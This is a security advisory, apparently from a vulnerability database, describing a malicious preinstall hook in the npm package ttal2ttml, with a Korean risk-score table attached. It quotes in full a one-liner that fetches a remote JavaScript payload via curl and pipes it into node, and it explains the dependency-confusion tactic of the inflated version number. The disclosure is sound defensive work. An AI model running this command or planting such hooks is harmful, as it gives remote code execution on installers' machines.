Malicious code in ttal2ttml (npm)
-= Per source details. Do not edit below this line.=-
package.json declares a preinstall lifecycle script that runs node -e "try{require('child_process').execSync('curl -sf https://d1ugk469z93e.0ac.io/callback.js | node',{stdio:'ignore'})}catch(e){}". On every npm install, the package fetches an unpinned JavaScript payload from the anonymous subdomain d1ugk469z93e.0ac.io and pipes it into node, executing whatever bytes the host returns under the installer's user account. Errors are swallowed via try/catch and stdio:'ignore' to hide failures. The destination is not the publisher's domain and the package's nominal purpose (TTML conversion) requires no network access. The package is also published at an artificially elevated version (99.0.3) with an empty index.js that self-describes as a dependency-confusion research PoC — the canonical shape used to win resolution against a private internal package of the same name. Regardless of stated intent, the remote-exec payload runs on every installer.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준